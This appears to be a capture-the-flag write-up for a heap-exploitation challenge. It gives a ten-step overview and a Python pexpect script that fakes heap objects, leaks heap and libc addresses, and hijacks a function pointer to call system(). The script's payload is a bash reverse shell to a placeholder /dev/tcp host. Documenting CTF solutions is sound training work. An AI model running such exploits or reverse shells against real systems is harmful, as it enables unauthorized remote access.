Because we made some reversing mistakes, our exploit ended up being unnecessarily complex. Here's a quick overview of how it works:

1. Delete lock
2. Use recovery system comment to allocate fake lock having the inventory part number (this puts an inventory part before the other parts, which allows us to read/write pieces of them).
3. Leak heap and libc addresses using our inventory part.
4. Delete rare missile
5. Delete front missile
6. Use recovery system comment to allocate fake front missile having the emp part number and with the x/y coords of the recovery system (6, 6). In place of its vtable, place the address of the command we will execute.
7. Use recovery system comment to allocate fake rare missile. Our fake emp part's options function pointer will be inside this buffer, so we place the address of system there.
8. Use recovery system comment to store our command on the heap.
9. Using our fake inventory, move the recovery system away from (6, 6) so that when we open the options menu with a part at (6, 6), the program finds our fake emp part instead.
10. Open the options menu for the part at (6, 6). Its options function will be called with its vtable as an argument, which will call `system(our_command)` in this case.

```
#!/usr/bin/python
import struct
import pexpect
import time
```

```
child = pexpect.spawn('/usr/bin/ssh',
        ['-t', '-p18562', '-lcontrol', '59.9.131.155'])

raw_input()

command = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1'"

# Delete lock
child.send('BBCCCCCCCCC 3')

# Create fake inventory
child.send('BDDDDDD 1')
child.send('\t'.ljust(0x33, 'A') + '\n')

# Leak heap addr
child.send('1')
child.send('17\n')
child.send('\n')
child.expect(r'Part Number 17 : ([-0-9]+)\x1b')
heap_addr = int(child.match.group(1)) & 0xffffffff
command_addr = heap_addr + 0x3604
print 'heap_addr:', hex(heap_addr)
print 'command_addr:', hex(command_addr)

# Leak libc addr
child.send('1')
child.send('1816\n')
child.send('\n')
child.expect(r'Part Number 1816 : ([-0-9]+)\x1b')
libc_addr = int(child.match.group(1)) & 0xffffffff
libc_base = libc_addr - 0x1af980
print 'libc_base:', hex(libc_base)

system = libc_base + 0x41280

# Delete rare missile
child.send('CCCCCCCCCCCCC 3')

# Delete front missile
child.send('DDDDDDDDDD 3')

# Create front missile with EMP header
child.send('DDD 1')
fake_struct = '\x2f' * 4
fake_struct += '\x06' * 4
fake_struct += '\x06' * 4
fake_struct += 'A' * 40
fake_struct += struct.pack('I', command_addr)
child.send(fake_struct + '\n')

# Create rare missile with fun ptr
child.send(' 1')
eip = system
fake_struct = 'A' * 52
fake_struct += struct.pack('I', eip)
child.send(fake_struct + '\n')
```

```

# Create my command
child.send(' 1')
child.send(command + '\n')

# Move move recovery system away from 6, 6
child.send('2')
child.send('14\n')
child.send('1')

# Run front missile
child.send(' ')

raw_input()
```

20 zombiemanager

Not solved.